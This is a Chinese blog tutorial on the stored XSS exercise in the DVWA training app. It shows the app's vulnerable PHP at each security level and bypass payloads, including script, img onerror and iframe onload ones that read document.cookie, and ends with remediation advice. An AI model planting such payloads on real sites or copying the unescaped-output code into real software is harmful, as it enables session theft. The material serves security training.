DVWA-XSS(Stored)_xss(stored) dvwa-程序员宅基地

技术标签: 安全漏洞  DVWA  

存储型 XSS 是指应用程序直接将攻击者提交的具有恶意代码存储到后台,在显示数据页面被
访问时恶意脚本在浏览器因 html 注入导致页面执行恶意代码从而被攻击者控制浏览器

Low

直接输入
在这里插入图片描述
1、查看服务器端源代码

<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//PDO::prepare — 准备要执行的SQL语句并返回一个 PDOStatement 对象(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)
    //mysql_close();
}

?> 

函数解释:

| $_POST |预定义的 $_POST 变量用于收集来自 method=“post” 的表单中的值。 |
|-isset()-|-isset()检测变量是否已设置并且非 NULL-|
|trim() | trim函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。 |
| stripslashes() | stripslashes函数删除字符串中的反斜杠。 |
|is_object()|is_object() 函数用于检测变量是否是一个对象。|
| mysqli_real_escape_string() | mysqli_real_escape_string对字符串特殊符号(\x00,\n,\r,\,‘,“,\x1a)等进行转义。 |

$GLOBALS() $GLOBALS
mysqli_query() mysqli_query()

应用程序直接将提交数据进行 SQL 特殊字符进行转义后存储到数据库,后续显示数据时未对数据做转义操作,可直接使用提交数据包含 xss payload 进行攻击

2、查看客户端代码
在这里插入图片描述
3、构造payload
首先将文本框中名字的最大长度设置为30
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
一次弹了好多框,也不知道为啥。。。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Medium

1、查看服务器端源代码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

函数解释:

strip_tags() strip_tags()strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars() 把一些预定义的字符转换为HTML实体,返回转换后的新字符串,原字符串不变。如果 string 包含无效的编码,则返回一个空的字符串,除非设置了 ENT_IGNORE 或者 ENT_SUBSTITUTE 标志;

应用程序将提交数据 txtName 只进行

2、构造payload

<script>alert(1)</script>

在这里插入图片描述

<script>alert(document.cookie)</script>

在这里插入图片描述

<image src="" onerror="alert(/xss/)"/>

在这里插入图片描述

<iframe>src="" onload="alert(/xss/)"></iframe>

在这里插入图片描述

High

1、查看服务器端源代码

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

函数解释:

preg_replace() preg_replace()函数执行一个正则表达式的搜索和替换

2、构造payload
应用程序将提交数据 txtName 只进行<script 字符串过滤和 SQL 特殊字符进行转义后存储到数据库,后续显示数据时未对数据做转义操作,可直接 txtName 字段使用提交数据包含 xss payload 进行攻击(通过 iframe、img 等标签进行绕过对 txtName 的过滤)

<image src=""  onerror="alert(/xss/)"/>

在这里插入图片描述

<iframe src="" onload="alert(document.cookie)"></iframe>

在这里插入图片描述
因为是存储型xss,留下的痕迹
在这里插入图片描述

Impossible

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

修复建议:
a) 禁用 js 读取 cookie(设置 cookie 为 httponly)
b) 在页面输出数据时对<、>、&、 '、"、/等字符进行 html 实体转义
c) 对输入数据中<、>、&、 '、"进行严格检查

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_44866139/article/details/104124658

智能推荐

【程序】猫狗分类程序:包括网络结构、数据集处理、训练、测试-程序员宅基地

文章浏览阅读597次。网络的输出层设置两个神经元的原因:神经网络有两个输出值对应两种类别,通过学习数据的不同特征,让两种类别在输出上有体现,即0趋近于猫,1趋近于狗。宏观上来看,神经网络具有了辨识猫狗的能力。训练过程中,有对GT由一维处理成二维的操作,目的也是为了和神经网络二维的输出进行匹配。import torchimport osimport numpy as npfrom PIL import Imagefrom torch.utils.data import Dataset, DataLoade..

Bnuntu140.4搭建Android5.1开发环境和编译_elink8163.tb-程序员宅基地

文章浏览阅读215次。From: http://www.linuxidc.com/Linux/2015-07/119759.htm1、安装Ubuntu14.04先下载Ubuntu系统,官网地址,从ubuntu10.04-ubuntu15.04都有下载,具体根据需求可以下载desktop和server版本一般虚拟机建议安装desktop版本,方便管理,本人电脑是64位的,所以下载的ubuntu-14.04.2-se..._elink8163.tb

SM2258XT开卡详细教程,SM2259XT2量产可参考,自己动手修复SSD故障-程序员宅基地

文章浏览阅读8.2k次,点赞3次,收藏12次。几年前电脑更换的固态硬盘,最近一段时间显示响应速度越来越慢、然后就是点击任何地方后都是卡住不动,作为移动U盘插入电脑后频繁闪退。原以为是操作系统的设置的问题,经过更换电脑后发现,是固态硬盘的问题。使用常见的SSD硬盘修复工具,尝试修复后依然无任何效果,该卡还是卡,该闪退还是闪退。_sm2258xt

Android Studio在xml文件中编写代码时,关键词没有代码提示补全_安卓studio不自动补全代码-程序员宅基地

文章浏览阅读5.5k次,点赞19次,收藏37次。Android Studio在xml文件中编写代码时,关键词没有代码提示补全。解决方式:检查修改Project的三个SDK版本为一致。_安卓studio不自动补全代码

Oracle GoldenGate 21.3微服务架构搭建-Oracle2Oracle & MySQL2MySQL-程序员宅基地

文章浏览阅读368次,点赞10次,收藏8次。文章篇幅比较多,请转移到以下链接下载文档,谢谢。https://download.csdn.net/download/bing_yuan/88637304

Android自定义View实战---圆盘温度计_android 颜色圆盘-程序员宅基地

文章浏览阅读4.9k次,点赞3次,收藏12次。了解了基本的自定义view基础后,现在我们就来实践下自定义view,也是看到我华为手机上自带的天气预报软件后,想着模仿做一个,于是,我自己尝试了下,虽然不算太像,但是还算能看,期待后期的改进。通过本文你可以用到以下技术:1)view的测量2)canvas绘图技巧3)接口回调4)触摸事件的处理最终效果如下所示可以通过输入框自己设定最低、最高温度和当前温度(这是为我天气_android 颜色圆盘

随便推点

ZVM – 记VMP保护代码还原工程_zvm vmp-程序员宅基地

文章浏览阅读1.6w次,点赞6次,收藏27次。1. 前言. 这篇文章写于2012年的8月,ZVM这个工程是我于2007年左右,一时头脑发晕而做的项目.做的时候是有考虑将其加密解密作为商业化运营的,如果失败,就当是体验一下这种所谓的CRACK界最强,也是最后一道防御是什么样子的.或者还能自己实现一套类似的软件.不管怎么说,研究VMP前后大约花掉我半年多的业余时间(最早还是个CONSOLE工程),还原引擎包含了VM指令调试器,_zvm vmp

Nginx启动报[10013]错误_nginx 错误1053-程序员宅基地

文章浏览阅读601次。原因: 80端口被占用cmd中查看80端口的占用情况:发现果然被占用,PID为4的进程占用,随后打开进程管理器发现是System进程占用80端口的情况 IIS服务器SqlServer数据库解决方法:关闭占用80端口的进程..._nginx 错误1053

局部图像描述子_图像局部特征描述子-程序员宅基地

文章浏览阅读314次。提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录前言一、pandas是什么?二、使用步骤1.引入库2.读入数据总结前言提示:这里可以添加本文要记录的大概内容:例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。提示:以下是本篇文章正文内容,下面案例可供参考一、pandas是什么?示例:pandas 是基于NumPy 的一种工具,该工具是为了解决数据分析任务而创建的。二、使用步骤1.引入库代码_图像局部特征描述子

【C语言训练】自守数问题_c语言自守数问题-程序员宅基地

文章浏览阅读3.7k次,点赞8次,收藏14次。题目描述自守数是指一个数的平方的尾数等于该数自身的自然数。 例如: 25^2=625 76^2=5776 9376^2=87909376 请求出200000以内的自守数?输入输出200000以内的自守数(包括0, 数之间用两个空格分开,包括末尾空格) 0 1 5 6 25 76 376 625 ???? ???? .._c语言自守数问题

MySQL的 FIND_IN_SET 在达梦中如何转换?_达梦数据库 find_in_set-程序员宅基地

文章浏览阅读3.5k次,点赞3次,收藏10次。最近有同学在迁移MySQL的时候碰到一个问题:FIND_IN_SET 在达梦中如何转换?其实可以自定义一个FIND_IN_SET函数来解决,参考了一个Oracle解决类似问题的帖子,可以直接用CREATE OR REPLACE FUNCTION FIND_IN_SET ( piv_str1 varchar2, piv_str2 varchar2, _达梦数据库 find_in_set

doT.js:一个强大高效的JavaScript模板引擎-程序员宅基地

文章浏览阅读347次,点赞7次,收藏9次。doT.js:一个强大高效的JavaScript模板引擎doT.js 是一个轻量级的JavaScript模板引擎,它提供了丰富的功能和高效的性能,用于动态生成HTML页面。项目简介doT.js由Olado开发并开源,它的目标是提供一种简单、高效的方式来创建可复用的模板,并能够快速地将数据渲染为HTML代码。与其他模板引擎相比,doT.js更注重性能和灵活性,使得开发者可以更好地控制生成的HT..._dot js

推荐文章

热门文章

相关标签